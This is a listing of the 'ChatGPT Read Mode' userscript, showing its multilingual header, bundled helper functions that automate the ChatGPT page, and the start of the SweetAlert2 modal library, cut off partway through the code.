ChatGPT 阅读模式

🍞 显示一个用于阅读的模态框

当前为 2023-08-02 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-read-mode
  3. // @description 🍞 show a modal for Read
  4. // @author mefengl
  5. // @version 0.0.1
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_registerMenuCommand
  12.  
  13. // @name:en ChatGPT Read Mode
  14. // @description:en 🍞 Show a modal for Read
  15. // @name:zh-CN ChatGPT 阅读模式
  16. // @description:zh-CN 🍞 显示一个用于阅读的模态框
  17. // @name:es Modo de lectura de ChatGPT
  18. // @description:es 🍞 Mostrar un modal para Leer
  19. // @name:hi ChatGPT पढ़ने का मोड
  20. // @description:hi 🍞 पढ़ने के लिए एक मोडल दिखाएं
  21. // @name:ar وضع القراءة لـ ChatGPT
  22. // @description:ar 🍞 عرض نموذج للقراءة
  23. // @name:pt Modo de leitura do ChatGPT
  24. // @description:pt 🍞 Mostre um modal para Leitura
  25. // @name:ru Режим чтения ChatGPT
  26. // @description:ru 🍞 Показать модальное окно для чтения
  27. // @name:ja ChatGPTの読み取りモード
  28. // @description:ja 🍞 閲覧用のモーダルを表示する
  29. // @name:de ChatGPT-Lesemodus
  30. // @description:de 🍞 Zeigen Sie ein Modal für Lesen an
  31. // @name:fr Mode de lecture ChatGPT
  32. // @description:fr 🍞 Afficher une fenêtre modale pour la lecture
  33. // ==/UserScript==
  34. "use strict";
  35. (() => {
  36. var __create = Object.create;
  37. var __defProp = Object.defineProperty;
  38. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  39. var __getOwnPropNames = Object.getOwnPropertyNames;
  40. var __getProtoOf = Object.getPrototypeOf;
  41. var __hasOwnProp = Object.prototype.hasOwnProperty;
  42. var __commonJS = (cb, mod) => function __require() {
  43. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  44. };
  45. var __copyProps = (to, from, except, desc) => {
  46. if (from && typeof from === "object" || typeof from === "function") {
  47. for (let key of __getOwnPropNames(from))
  48. if (!__hasOwnProp.call(to, key) && key !== except)
  49. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  50. }
  51. return to;
  52. };
  53. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  54. // If the importer is in node compatibility mode or this is not an ESM
  55. // file that has been converted to a CommonJS file using a Babel-
  56. // compatible transform (i.e. "__esModule" has not been set), then set
  57. // "default" to the CommonJS "module.exports" for node compatibility.
  58. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  59. mod
  60. ));
  61. var __async = (__this, __arguments, generator) => {
  62. return new Promise((resolve, reject) => {
  63. var fulfilled = (value) => {
  64. try {
  65. step(generator.next(value));
  66. } catch (e) {
  67. reject(e);
  68. }
  69. };
  70. var rejected = (value) => {
  71. try {
  72. step(generator.throw(value));
  73. } catch (e) {
  74. reject(e);
  75. }
  76. };
  77. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  78. step((generator = generator.apply(__this, __arguments)).next());
  79. });
  80. };
  81.  
  82. // ../../packages/chatkit/dist/chatgpt/index.js
  83. var require_chatgpt = __commonJS({
  84. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  85. "use strict";
  86. var __defProp2 = Object.defineProperty;
  87. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  88. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  89. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  90. var __export = (target, all) => {
  91. for (var name in all)
  92. __defProp2(target, name, { get: all[name], enumerable: true });
  93. };
  94. var __copyProps2 = (to, from, except, desc) => {
  95. if (from && typeof from === "object" || typeof from === "function") {
  96. for (let key of __getOwnPropNames2(from))
  97. if (!__hasOwnProp2.call(to, key) && key !== except)
  98. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  99. }
  100. return to;
  101. };
  102. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  103. var chatgpt_exports = {};
  104. __export(chatgpt_exports, {
  105. getButton: () => getButton,
  106. getContinueGeneratingButton: () => getContinueGeneratingButton,
  107. getConversation: () => getConversation,
  108. getCopyLinkButton: () => getCopyLinkButton,
  109. getHistoryBlockTitle: () => getHistoryBlockTitle,
  110. getHistoryBlocks: () => getHistoryBlocks,
  111. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  112. getLastResponse: () => getLastResponse,
  113. getLastResponseElement: () => getLastResponseElement,
  114. getModelSelectButton: () => getModelSelectButton,
  115. getNav: () => getNav,
  116. getNewModelSelectButtons: () => getNewModelSelectButtons,
  117. getRegenerateButton: () => getRegenerateButton,
  118. getResponseElementHTMLs: () => getResponseElementHTMLs2,
  119. getShareChatButton: () => getShareChatButton,
  120. getStopGeneratingButton: () => getStopGeneratingButton,
  121. getSubmitButton: () => getSubmitButton,
  122. getTextarea: () => getTextarea,
  123. getTextareaValue: () => getTextareaValue,
  124. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  125. isConversationStarted: () => isConversationStarted,
  126. isGenerating: () => isGenerating,
  127. isHorizontalConversation: () => isHorizontalConversation,
  128. onSend: () => onSend,
  129. regenerate: () => regenerate,
  130. send: () => send,
  131. setHorizontalConversation: () => setHorizontalConversation,
  132. setPromptListener: () => setPromptListener,
  133. setPureConversation: () => setPureConversation,
  134. setTextarea: () => setTextarea,
  135. waitForIdle: () => waitForIdle
  136. });
  137. module.exports = __toCommonJS(chatgpt_exports);
  138. function getNav() {
  139. return document.querySelector("nav");
  140. }
  141. function getHistoryBlocks() {
  142. const nav = getNav();
  143. if (!nav)
  144. return [];
  145. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  146. return result;
  147. }
  148. function getHistoryBlockTitle(historyBlock) {
  149. var _a;
  150. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  151. }
  152. function getHistoryBlocksWithTitle() {
  153. const historyBlocks = getHistoryBlocks();
  154. const result = historyBlocks.map((historyBlock) => ({
  155. block: historyBlock,
  156. title: getHistoryBlockTitle(historyBlock)
  157. }));
  158. return result;
  159. }
  160. function getTextarea() {
  161. const form = document.querySelector("form");
  162. if (!form)
  163. return;
  164. const textareas = form.querySelectorAll("textarea");
  165. const result = textareas[0];
  166. return result;
  167. }
  168. function getSubmitButton() {
  169. const textarea = getTextarea();
  170. if (!textarea)
  171. return;
  172. return textarea.nextElementSibling;
  173. }
  174. function getButton(text) {
  175. return Array.from(document.querySelectorAll('button[as="button"]')).find((button) => {
  176. var _a;
  177. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes(text);
  178. });
  179. }
  180. function getRegenerateButton() {
  181. return getButton("regenerate");
  182. }
  183. function getContinueGeneratingButton() {
  184. return getButton("continue");
  185. }
  186. function getStopGeneratingButton() {
  187. return getButton("stop");
  188. }
  189. function getResponseElementHTMLs2() {
  190. return Array.from(document.querySelectorAll(".markdown")).map((m) => m.innerHTML);
  191. }
  192. function getLastResponseElement() {
  193. const responseElements = document.querySelectorAll(".group.w-full");
  194. return responseElements[responseElements.length - 1];
  195. }
  196. function getLastResponse() {
  197. const lastResponseElement = getLastResponseElement();
  198. if (!lastResponseElement)
  199. return;
  200. const lastResponse = lastResponseElement.textContent;
  201. return lastResponse;
  202. }
  203. function getTextareaValue() {
  204. var _a;
  205. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  206. }
  207. function setTextarea(message) {
  208. const textarea = getTextarea();
  209. if (!textarea)
  210. return;
  211. textarea.value = message;
  212. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  213. }
  214. function send(message) {
  215. return __async(this, null, function* () {
  216. setTextarea(message);
  217. const textarea = getTextarea();
  218. if (!textarea)
  219. return;
  220. while (textarea.value === message) {
  221. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  222. yield new Promise((resolve) => setTimeout(resolve, 100));
  223. }
  224. });
  225. }
  226. function regenerate() {
  227. const regenerateButton = getRegenerateButton();
  228. if (!regenerateButton)
  229. return;
  230. regenerateButton.click();
  231. }
  232. function onSend(callback) {
  233. const textarea = getTextarea();
  234. if (!textarea)
  235. return;
  236. textarea.addEventListener("keydown", function(event) {
  237. if (event.key === "Enter" && !event.shiftKey) {
  238. callback();
  239. }
  240. });
  241. const sendButton = getSubmitButton();
  242. if (!sendButton)
  243. return;
  244. sendButton.addEventListener("mousedown", callback);
  245. }
  246. function isGenerating() {
  247. var _a, _b;
  248. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  249. }
  250. function waitForIdle() {
  251. return new Promise((resolve) => {
  252. const interval = setInterval(() => {
  253. if (!isGenerating()) {
  254. clearInterval(interval);
  255. resolve();
  256. }
  257. }, 1e3);
  258. });
  259. }
  260. function setPromptListener(key = "prompt_texts") {
  261. let last_trigger_time = +/* @__PURE__ */ new Date();
  262. if (location.href.includes("chat.openai")) {
  263. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  264. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  265. return;
  266. }
  267. last_trigger_time = +/* @__PURE__ */ new Date();
  268. setTimeout(() => __async(this, null, function* () {
  269. var _a, _b;
  270. const prompt_texts = new_value;
  271. const isLong = prompt_texts.length > 60;
  272. if (prompt_texts.length > 0) {
  273. let firstTime = true;
  274. while (prompt_texts.length > 0) {
  275. const waitTime = isLong && !document.hasFocus() ? 20 * 1e3 : 2e3;
  276. if (!firstTime) {
  277. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  278. }
  279. if (!firstTime && isGenerating()) {
  280. continue;
  281. } else if (getContinueGeneratingButton()) {
  282. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  283. continue;
  284. } else if (getRegenerateButton() && !getTextarea()) {
  285. yield new Promise((resolve) => setTimeout(resolve, 10 * 1e3));
  286. (_b = getRegenerateButton()) == null ? void 0 : _b.click();
  287. continue;
  288. }
  289. firstTime = false;
  290. yield send(prompt_texts.shift() || "");
  291. }
  292. }
  293. }), 0);
  294. GM_setValue(key, []);
  295. }));
  296. }
  297. }
  298. function getConversation() {
  299. var _a, _b;
  300. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  301. }
  302. function getModelSelectButton() {
  303. const conversation = getConversation();
  304. if (!conversation)
  305. return;
  306. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  307. var _a;
  308. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  309. });
  310. }
  311. function getNewModelSelectButtons() {
  312. return Array.from(document.querySelectorAll("[class^='group/button']"));
  313. }
  314. function hasNewModelSelectButtons() {
  315. return getNewModelSelectButtons().length > 0;
  316. }
  317. function isConversationStarted() {
  318. return !getModelSelectButton();
  319. }
  320. function setPureConversation() {
  321. const conversation = getConversation();
  322. if (!conversation)
  323. return;
  324. const firstChild = conversation.firstChild;
  325. if (!firstChild)
  326. return;
  327. const newDiv = document.createElement("div");
  328. conversation.insertBefore(newDiv, firstChild.nextSibling);
  329. }
  330. function isHorizontalConversation() {
  331. const conversation = getConversation();
  332. if (!conversation)
  333. return true;
  334. if (!isConversationStarted())
  335. return true;
  336. return conversation.classList.contains("grid");
  337. }
  338. function setHorizontalConversation() {
  339. if (isHorizontalConversation())
  340. return;
  341. setPureConversation();
  342. const conversation = getConversation();
  343. if (!conversation)
  344. return;
  345. conversation.classList.remove("flex", "flex-col", "items-center");
  346. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  347. }
  348. function getShareChatButton() {
  349. return document.querySelector('button[aria-label="Share chat"]');
  350. }
  351. function getCopyLinkButton() {
  352. return Array.from(document.querySelectorAll('button[as="button"]')).filter((button) => {
  353. var _a;
  354. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("copy link");
  355. })[0];
  356. }
  357. }
  358. });
  359.  
  360. // ../../packages/chatkit/chatgpt.js
  361. var require_chatgpt2 = __commonJS({
  362. "../../packages/chatkit/chatgpt.js"(exports, module) {
  363. module.exports = require_chatgpt();
  364. }
  365. });
  366.  
  367. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  368. var require_sweetalert2_all = __commonJS({
  369. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  370. (function(global, factory) {
  371. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  372. })(exports, function() {
  373. "use strict";
  374. const RESTORE_FOCUS_TIMEOUT = 100;
  375. const globalState = {};
  376. const focusPreviousActiveElement = () => {
  377. if (globalState.previousActiveElement instanceof HTMLElement) {
  378. globalState.previousActiveElement.focus();
  379. globalState.previousActiveElement = null;
  380. } else if (document.body) {
  381. document.body.focus();
  382. }
  383. };
  384. const restoreActiveElement = (returnFocus) => {
  385. return new Promise((resolve) => {
  386. if (!returnFocus) {
  387. return resolve();
  388. }
  389. const x = window.scrollX;
  390. const y = window.scrollY;
  391. globalState.restoreFocusTimeout = setTimeout(() => {
  392. focusPreviousActiveElement();
  393. resolve();
  394. }, RESTORE_FOCUS_TIMEOUT);
  395. window.scrollTo(x, y);
  396. });
  397. };
  398. var privateProps = {
  399. promise: /* @__PURE__ */ new WeakMap(),
  400. innerParams: /* @__PURE__ */ new WeakMap(),
  401. domCache: /* @__PURE__ */ new WeakMap()
  402. };
  403. const swalPrefix = "swal2-";
  404. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  405. const swalClasses = classNames.reduce(
  406. (acc, className) => {
  407. acc[className] = swalPrefix + className;
  408. return acc;
  409. },
  410. /** @type {SwalClasses} */
  411. {}
  412. );
  413. const icons = ["success", "warning", "info", "question", "error"];
  414. const iconTypes = icons.reduce(
  415. (acc, icon) => {
  416. acc[icon] = swalPrefix + icon;
  417. return acc;
  418. },
  419. /** @type {SwalIcons} */
  420. {}
  421. );
  422. const consolePrefix = "SweetAlert2:";
  423. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  424. const warn = (message) => {
  425. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  426. };
  427. const error = (message) => {
  428. console.error(`${consolePrefix} ${message}`);
  429. };
  430. const previousWarnOnceMessages = [];
  431. const warnOnce = (message) => {
  432. if (!previousWarnOnceMessages.includes(message)) {
  433. previousWarnOnceMessages.push(message);
  434. warn(message);
  435. }
  436. };
  437. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  438. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  439. };
  440. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  441. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  442. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  443. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  444. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  445. const elementBySelector = (selectorString) => {
  446. const container = getContainer();
  447. return container ? container.querySelector(selectorString) : null;
  448. };
  449. const elementByClass = (className) => {
  450. return elementBySelector(`.${className}`);
  451. };
  452. const getPopup = () => elementByClass(swalClasses.popup);
  453. const getIcon = () => elementByClass(swalClasses.icon);
  454. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  455. const getTitle = () => elementByClass(swalClasses.title);
  456. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  457. const getImage = () => elementByClass(swalClasses.image);
  458. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  459. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  460. const getConfirmButton = () => (
  461. /** @type {HTMLButtonElement} */
  462. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  463. );
  464. const getCancelButton = () => (
  465. /** @type {HTMLButtonElement} */
  466. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  467. );
  468. const getDenyButton = () => (
  469. /** @type {HTMLButtonElement} */
  470. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  471. );
  472. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  473. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  474. const getActions = () => elementByClass(swalClasses.actions);
  475. const getFooter = () => elementByClass(swalClasses.footer);
  476. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  477. const getCloseButton = () => elementByClass(swalClasses.close);
  478. const focusable = `
  479. a[href],
  480. area[href],
  481. input:not([disabled]),
  482. select:not([disabled]),
  483. textarea:not([disabled]),
  484. button:not([disabled]),
  485. iframe,
  486. object,
  487. embed,
  488. [tabindex="0"],
  489. [contenteditable],
  490. audio[controls],
  491. video[controls],
  492. summary
  493. `;
  494. const getFocusableElements = () => {
  495. const popup = getPopup();
  496. if (!popup) {
  497. return [];
  498. }
  499. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  500. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  501. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  502. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  503. if (tabindexA > tabindexB) {
  504. return 1;
  505. } else if (tabindexA < tabindexB) {
  506. return -1;
  507. }
  508. return 0;
  509. });
  510. const otherFocusableElements = popup.querySelectorAll(focusable);
  511. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  512. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  513. };
  514. const isModal = () => {
  515. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  516. };
  517. const isToast = () => {
  518. const popup = getPopup();
  519. if (!popup) {
  520. return false;
  521. }
  522. return hasClass(popup, swalClasses.toast);
  523. };
  524. const isLoading = () => {
  525. const popup = getPopup();
  526. if (!popup) {
  527. return false;
  528. }
  529. return popup.hasAttribute("data-loading");
  530. };
  531. const setInnerHtml = (elem, html) => {
  532. elem.textContent = "";
  533. if (html) {
  534. const parser = new DOMParser();
  535. const parsed = parser.parseFromString(html, `text/html`);
  536. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  537. elem.appendChild(child);
  538. });
  539. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  540. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  541. elem.appendChild(child.cloneNode(true));
  542. } else {
  543. elem.appendChild(child);
  544. }
  545. });
  546. }
  547. };
  548. const hasClass = (elem, className) => {
  549. if (!className) {
  550. return false;
  551. }
  552. const classList = className.split(/\s+/);
  553. for (let i = 0; i < classList.length; i++) {
  554. if (!elem.classList.contains(classList[i])) {
  555. return false;
  556. }
  557. }
  558. return true;
  559. };
  560. const removeCustomClasses = (elem, params) => {
  561. Array.from(elem.classList).forEach((className) => {
  562. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  563. elem.classList.remove(className);
  564. }
  565. });
  566. };
  567. const applyCustomClass = (elem, params, className) => {
  568. removeCustomClasses(elem, params);
  569. if (params.customClass && params.customClass[className]) {
  570. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  571. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  572. return;
  573. }
  574. addClass(elem, params.customClass[className]);
  575. }
  576. };
  577. const getInput$1 = (popup, inputClass) => {
  578. if (!inputClass) {
  579. return null;
  580. }
  581. switch (inputClass) {
  582. case "select":
  583. case "textarea":
  584. case "file":
  585. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  586. case "checkbox":
  587. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  588. case "radio":
  589. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  590. case "range":
  591. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  592. default:
  593. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  594. }
  595. };
  596. const focusInput = (input) => {
  597. input.focus();
  598. if (input.type !== "file") {
  599. const val = input.value;
  600. input.value = "";
  601. input.value = val;
  602. }
  603. };
  604. const toggleClass = (target, classList, condition) => {
  605. if (!target || !classList) {
  606. return;
  607. }
  608. if (typeof classList === "string") {
  609. classList = classList.split(/\s+/).filter(Boolean);
  610. }
  611. classList.forEach((className) => {
  612. if (Array.isArray(target)) {
  613. target.forEach((elem) => {
  614. condition ? elem.classList.add(className) : elem.classList.remove(className);
  615. });
  616. } else {
  617. condition ? target.classList.add(className) : target.classList.remove(className);
  618. }
  619. });
  620. };
  621. const addClass = (target, classList) => {
  622. toggleClass(target, classList, true);
  623. };
  624. const removeClass = (target, classList) => {
  625. toggleClass(target, classList, false);
  626. };
  627. const getDirectChildByClass = (elem, className) => {
  628. const children = Array.from(elem.children);
  629. for (let i = 0; i < children.length; i++) {
  630. const child = children[i];
  631. if (child instanceof HTMLElement && hasClass(child, className)) {
  632. return child;
  633. }
  634. }
  635. };
  636. const applyNumericalStyle = (elem, property, value) => {
  637. if (value === `${parseInt(value)}`) {
  638. value = parseInt(value);
  639. }
  640. if (value || parseInt(value) === 0) {
  641. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  642. } else {
  643. elem.style.removeProperty(property);
  644. }
  645. };
  646. const show = function(elem) {
  647. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  648. elem && (elem.style.display = display);
  649. };
  650. const hide = (elem) => {
  651. elem && (elem.style.display = "none");
  652. };
  653. const setStyle = (parent, selector, property, value) => {
  654. const el = parent.querySelector(selector);
  655. if (el) {
  656. el.style[property] = value;
  657. }
  658. };
  659. const toggle = function(elem, condition) {
  660. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  661. condition ? show(elem, display) : hide(elem);
  662. };
  663. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  664. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  665. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  666. const hasCssAnimation = (elem) => {
  667. const style = window.getComputedStyle(elem);
  668. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  669. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  670. return animDuration > 0 || transDuration > 0;
  671. };
  672. const animateTimerProgressBar = function(timer) {
  673. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  674. const timerProgressBar = getTimerProgressBar();
  675. if (isVisible$1(timerProgressBar)) {
  676. if (reset) {
  677. timerProgressBar.style.transition = "none";
  678. timerProgressBar.style.width = "100%";
  679. }
  680. setTimeout(() => {
  681. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  682. timerProgressBar.style.width = "0%";
  683. }, 10);
  684. }
  685. };
  686. const stopTimerProgressBar = () => {
  687. const timerProgressBar = getTimerProgressBar();
  688. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  689. timerProgressBar.style.removeProperty("transition");
  690. timerProgressBar.style.width = "100%";
  691. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  692. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  693. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  694. };
  695. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  696. const sweetHTML = `
  697. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  698. <button type="button" class="${swalClasses.close}"></button>
  699. <ul class="${swalClasses["progress-steps"]}"></ul>
  700. <div class="${swalClasses.icon}"></div>
  701. <img class="${swalClasses.image}" />
  702. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  703. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  704. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  705. <input type="file" class="${swalClasses.file}" />
  706. <div class="${swalClasses.range}">
  707. <input type="range" />
  708. <output></output>
  709. </div>
  710. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  711. <div class="${swalClasses.radio}"></div>
  712. <label class="${swalClasses.checkbox}">
  713. <input type="checkbox" id="${swalClasses.checkbox}" />
  714. <span class="${swalClasses.label}"></span>
  715. </label>
  716. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  717. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  718. <div class="${swalClasses.actions}">
  719. <div class="${swalClasses.loader}"></div>
  720. <button type="button" class="${swalClasses.confirm}"></button>
  721. <button type="button" class="${swalClasses.deny}"></button>
  722. <button type="button" class="${swalClasses.cancel}"></button>
  723. </div>
  724. <div class="${swalClasses.footer}"></div>
  725. <div class="${swalClasses["timer-progress-bar-container"]}">
  726. <div class="${swalClasses["timer-progress-bar"]}"></div>
  727. </div>
  728. </div>
  729. `.replace(/(^|\n)\s*/g, "");
  730. const resetOldContainer = () => {
  731. const oldContainer = getContainer();
  732. if (!oldContainer) {
  733. return false;
  734. }
  735. oldContainer.remove();
  736. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  737. return true;
  738. };
  739. const resetValidationMessage$1 = () => {
  740. globalState.currentInstance.resetValidationMessage();
  741. };
  742. const addInputChangeListeners = () => {
  743. const popup = getPopup();
  744. const input = getDirectChildByClass(popup, swalClasses.input);
  745. const file = getDirectChildByClass(popup, swalClasses.file);
  746. const range = popup.querySelector(`.${swalClasses.range} input`);
  747. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  748. const select = getDirectChildByClass(popup, swalClasses.select);
  749. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  750. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  751. input.oninput = resetValidationMessage$1;
  752. file.onchange = resetValidationMessage$1;
  753. select.onchange = resetValidationMessage$1;
  754. checkbox.onchange = resetValidationMessage$1;
  755. textarea.oninput = resetValidationMessage$1;
  756. range.oninput = () => {
  757. resetValidationMessage$1();
  758. rangeOutput.value = range.value;
  759. };
  760. range.onchange = () => {
  761. resetValidationMessage$1();
  762. rangeOutput.value = range.value;
  763. };
  764. };
  765. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  766. const setupAccessibility = (params) => {
  767. const popup = getPopup();
  768. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  769. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  770. if (!params.toast) {
  771. popup.setAttribute("aria-modal", "true");
  772. }
  773. };
  774. const setupRTL = (targetElement) => {
  775. if (window.getComputedStyle(targetElement).direction === "rtl") {
  776. addClass(getContainer(), swalClasses.rtl);
  777. }
  778. };
  779. const init = (params) => {
  780. const oldContainerExisted = resetOldContainer();
  781. if (isNodeEnv()) {
  782. error("SweetAlert2 requires document to initialize");
  783. return;
  784. }
  785. const container = document.createElement("div");
  786. container.className = swalClasses.container;
  787. if (oldContainerExisted) {
  788. addClass(container, swalClasses["no-transition"]);
  789. }
  790. setInnerHtml(container, sweetHTML);
  791. const targetElement = getTarget(params.target);
  792. targetElement.appendChild(container);
  793. setupAccessibility(params);
  794. setupRTL(targetElement);
  795. addInputChangeListeners();
  796. };
  797. const parseHtmlToContainer = (param, target) => {
  798. if (param instanceof HTMLElement) {
  799. target.appendChild(param);
  800. } else if (typeof param === "object") {
  801. handleObject(param, target);
  802. } else if (param) {
  803. setInnerHtml(target, param);
  804. }
  805. };
  806. const handleObject = (param, target) => {
  807. if (param.jquery) {
  808. handleJqueryElem(target, param);
  809. } else {
  810. setInnerHtml(target, param.toString());
  811. }
  812. };
  813. const handleJqueryElem = (target, elem) => {
  814. target.textContent = "";
  815. if (0 in elem) {
